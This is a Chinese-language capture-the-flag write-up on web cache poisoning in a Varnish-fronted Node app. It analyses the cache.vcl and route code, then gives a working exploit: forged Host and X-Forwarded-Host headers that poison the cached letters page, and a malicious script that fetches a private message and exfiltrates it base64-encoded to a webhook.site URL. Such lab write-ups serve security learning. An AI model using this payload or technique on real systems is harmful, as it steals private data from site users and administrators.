Before all
看著整份檔案後直接昏厥
試著自己解了一下發現想都想不通,就去看別人write up了…
結果Burp Suite直接抓包一直過不了,最後用python requests手刻腳本才成功(倒)
但是學到好多東西,開心開心ww
Cache Analyzation
Cache就是對於頁面的暫存,大致分為server端和browser端。
browser端蠻好理解的,像是如果重複造訪一個網頁但你現在是斷網的還是可以儲存方才內容。
而server端則是發生在兩次request的cache key是一樣時,給予跟剛才相同的結果回傳。
這題是要利用server端的暫存帶來的漏洞進行利用。
來分析cache.vcl
這支檔案(用來定義整台機器的Cache)
cache.vcl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| vcl 4.1;
backend default { .host = "127.0.0.1"; .port = "1337"; }
sub vcl_hash { hash_data(req.url);
if (req.http.host) { hash_data(req.http.host); } else { hash_data(server.ip); }
return (lookup); }
sub vcl_recv { set req.http.X-Forwarded-URL = req.url; set req.http.X-Forwarded-Proto = "http"; if( req.http.host ~ ":[0-9]+" ) { set req.http.X-Forwarded-Port = regsub(req.http.host, ".*:", ""); } else { set req.http.X-Forwarded-Port = "80"; }
if ( !( req.url ~ "^/message") ) { unset req.http.Cookie; } }
sub `vcl_backend_response` { if (bereq.url ~ "^/$" || bereq.url ~ "^/letters") { set beresp.ttl = 60s; } else if (bereq.url ~ "^/message") { if(beresp.status != 200) { set beresp.ttl = 5s; } else { set beresp.ttl = 120s; } } else if (bereq.url ~ "^/static") { set beresp.ttl = 120s; } }
sub vcl_deliver { if (obj.hits > 0) { set resp.http.X-Cache = "HIT"; } else { set resp.http.X-Cache = "MISS"; }
set resp.http.X-Cache-Hits = obj.hits; }
|
首先,backend default
段落定義了後端cache服務建立在127.0.0.1
,端口1337
再來,是vcl_hash
的段落,這個段落定義了cache key的計算方式:
1 2 3 4 5 6 7 8 9 10 11
| sub vcl_hash { hash_data(req.url);
if (req.http.host) { hash_data(req.http.host); } else { hash_data(server.ip); }
return (lookup); }
|
其中,req.url
代表了網址的路徑url:
https://wha13.github.io/hello_world?id=1
的req.url會是/hello_world?id=1
。
而req.http.host
代表了封包裡的Host:
header。
vcl_recv
段落定義了各項參數抓取的 header 訊息。
最後,vcl_backend_response
則是定義了cache要針對哪些路徑作暫存,暫存時間為多久:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| sub `vcl_backend_response` { if (bereq.url ~ "^/$" || bereq.url ~ "^/letters") { set beresp.ttl = 60s; } else if (bereq.url ~ "^/message") { if(beresp.status != 200) { set beresp.ttl = 5s; } else { set beresp.ttl = 120s; } } else if (bereq.url ~ "^/static") { set beresp.ttl = 120s; } }
|
如果正則匹配到letters
那是60秒,message
則在非200的status code下圍5秒,其他為120秒,static
為120秒。
vcl_driver
就是定義回應的header告知cache訊息。
Cache Poisoning
回到剛剛的vcl_hash
一下,會發現控制cache key的元素都是在送封包時可以偽造的。
觀察route.js
連接bot.js
之片段
route.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| router.post("/submit", async (req, res) => { const { message } = req.body;
if (message) { return db.insertMessage(message) .then(async inserted => { try { botVisiting = true; await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret); botVisiting = false; } catch (e) { console.log(e); botVisiting = false; } res.status(201).send(response(inserted.lastID)); }) .catch(() => { res.status(500).send(response('Something went wrong!')); }); } return res.status(401).send(response('Missing required parameters!')); });
|
bot.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| const visit = async(url, authSecret) => { try { const browser = await puppeteer.launch(browser_options); let context = await browser.createIncognitoBrowserContext(); let page = await context.newPage();
await page.setCookie({ name: 'auth', value: authSecret, domain: '127.0.0.1', });
await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000, }); await page.waitForTimeout(3000); await browser.close(); } catch (e) { console.log(e); } };
|
會發現請求的req.url
是/letters?id=${inserted.lastID}
,而req.host
是127.0.0.1
。
假設現在的末id是10,那下一篇就是11,造成Cache Poisoning的Payload應該要是:
1 2
| GET /letters?id=11 HTTP/1.1 Host: 127.0.0.1
|
再來,觀察route.js
中letters
的片段:
1 2 3 4 5
| router.get("/letters", (req, res) => { return res.render("viewletters.html", { cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`, }); });
|
其中,req.hostname
的值是綁在X-Forwarded-Host
的header上,這邊定義的cdn會傳到templates上去…
viewletters.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| {% extends "base.html" %} {% block content %} <h1 class="title" style="margin: 0">Viewing letter #<span id="letter-id">1</span></h1> <h2 class="title" id="error-message" style="visibility: hidden;"> </h2> {% include "letter.html" %} <div class="letter letter-small"> <div class="letter-inner letter-inner-small"> <a href="/">Write New Letter</a> </div> </div> <div id="previous" class="sign-post"> <div class="sign-post-text"> <a href="#">View previous<br><br>letter</a> </div> </div>
<div id="next" class="sign-post flipped"> <div class="sign-post-text"> <a href="#">View next<br><br>letter</a> </div> </div>
<script src="viewletter.js"></script> {% endblock %}
|
會載入viewletter.js
,而它引入了base.html
…….
base.html
中有這麼一行:
<base href="{{cdn}}" />
啊哈!
邏輯出來了,因為暫存與cdn取值的方法req.hostname
,只要自訂X-Forwarded-Host
到自己的host,往/static/viewletter.js
塞payload進去就好。
理論header:
1 2 3
| GET /letters?id=11 HTTP/1.1 Host: 127.0.0.1 X-Forwarded-Host: william957-web.github.io
|
Exploit
自己的惡意js,抓id=3的文章,然後base64丟webhook
https://william957-web.github.io/static/viewletter.js
1
| fetch("http://127.0.0.1/message/3").then(res => {return res.text();}).then(res =>fetch("http://webhook.site/ae5a8c4b-5567-4da6-abbf-cbb4908426fe?log="+btoa(res)));
|
python腳本(因為header和環境那些最乾淨)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * import time import requests as req
url='http://94.237.62.195:59541' my_server='william957-web.github.io'
headers={ "Host":"127.0.0.1", 'X-Forwarded-Host' : my_server }
web=req.get(f'{url}/message/1')
cur_id=web.json()['count']
web=req.get(f'{url}/letters?id={cur_id+1}', headers=headers) if my_server in web.text: info("Cache poisoned!!!")
req.post(f'{url}/submit',json={'message' : 'pwned by whale120'}) time.sleep(5)
|
FINALLY!!!
References
- https://www.anquanke.com/post/id/213597
- https://h0pp1.github.io/posts/easter-bunny/